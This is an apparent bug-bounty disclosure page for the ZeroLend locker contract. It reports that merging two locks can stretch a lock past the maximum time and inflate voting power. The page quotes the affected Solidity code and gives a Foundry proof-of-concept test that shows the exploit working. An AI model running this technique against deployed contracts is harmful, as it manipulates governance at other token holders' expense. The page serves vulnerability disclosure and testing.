28892 - [SC - Medium] ZeroLockermerge can make a voting lock last lon...
Previous28885 - [SC - Medium] Lack of check for Lockend in merge LockerToken ...Next28910 - [SC - High] Bool check wrong in registerGauge
Last updated
Was this helpful?
Was this helpful?
LockedBalance memory _locked0 = locked[_from];
LockedBalance memory _locked1 = locked[_to];
uint256 value0 = uint256(int256(_locked0.amount));
uint256 end = _locked0.end >= _locked1.end
? _locked0.end
: _locked1.end;
locked[_from] = LockedBalance(0, 0, 0, 0);
_burn(_from);
_depositFor(_to, value0, end, _locked1, DepositType.MERGE_TYPE);if (_unlockTime != 0) lock.end = _unlockTime;function _calculatePower(
LockedBalance memory lock
) internal view returns (uint256) {
return ((lock.end - lock.start) * lock.amount) / MAXTIME;
}import "@nomicfoundation/hardhat-foundry";forge init --forceforge install Openzeppelin/openzeppelin-contracts@v5.0.1 --no-commit
forge install OpenZeppelin/openzeppelin-contracts-upgradeable --no-commit// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {console} from "../../lib/forge-std/src/console.sol";
import {StdInvariant} from "../../lib/forge-std/src/StdInvariant.sol";
import {LockerLP} from "../../locker/LockerLP.sol";
import {Test} from "../../lib/forge-std/src/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MintableERC20 is ERC20 {
address public owner;
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "MintableERC20: caller is not the owner");
_;
}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
}
contract ZeroLendTest is StdInvariant, Test {
LockerLP lockerLP;
MintableERC20 arbitraryToken;
address user = makeAddr("user");
address public configurator = makeAddr("configurator");
uint256 internal WEEK;
uint256 internal MAXTIME;
function setUp() public {
vm.prank(configurator);
arbitraryToken = new MintableERC20("Arbitrary Token", "ATKN");
vm.prank(configurator);
arbitraryToken.mint(user, 1 ether);
vm.prank(configurator);
lockerLP = new LockerLP();
lockerLP.init(
address(arbitraryToken),
// staking address
address(0x1000),
// stakingBonus
address(0x1001)
);
WEEK = 1 weeks;
// MAXTIME is set to 1 year as it is the value set at the initialization of the LockerLP contract
MAXTIME = 365 * 86400;
}
function test_poc() public {
vm.prank(user);
arbitraryToken.approve(address(lockerLP), 1 ether);
uint256 unlockTime0 = ((block.timestamp + MAXTIME) / WEEK) * WEEK; // Locktime is rounded down to weeks
vm.prank(user);
lockerLP.createLock(0.5 ether, unlockTime0, false);
// pass some time
vm.warp(block.timestamp + WEEK);
uint256 unlockTime1 = ((block.timestamp + MAXTIME) / WEEK) * WEEK - 100; // Locktime is rounded down to weeks
vm.prank(user);
lockerLP.createLock(0.5 ether, unlockTime1, false);
vm.prank(user);
lockerLP.merge(2, 1);
(uint256 amountLocked, uint256 end, uint256 start,) = lockerLP.locked(1);
// check if amount locked is 1 ether
require(amountLocked == 1 ether, "wrong amount locked");
// check the difference between the end and the start
require(end - start > MAXTIME, "lock duration is not over 1 year");
// check if voting power is bigger than what should be possible
uint256 maxVotingPower = MAXTIME * amountLocked / MAXTIME;
uint256 currentVotingPower = (end - start) * amountLocked / MAXTIME;
require(currentVotingPower > maxVotingPower, "current voting power is not bigger than maximum expected value");
}
}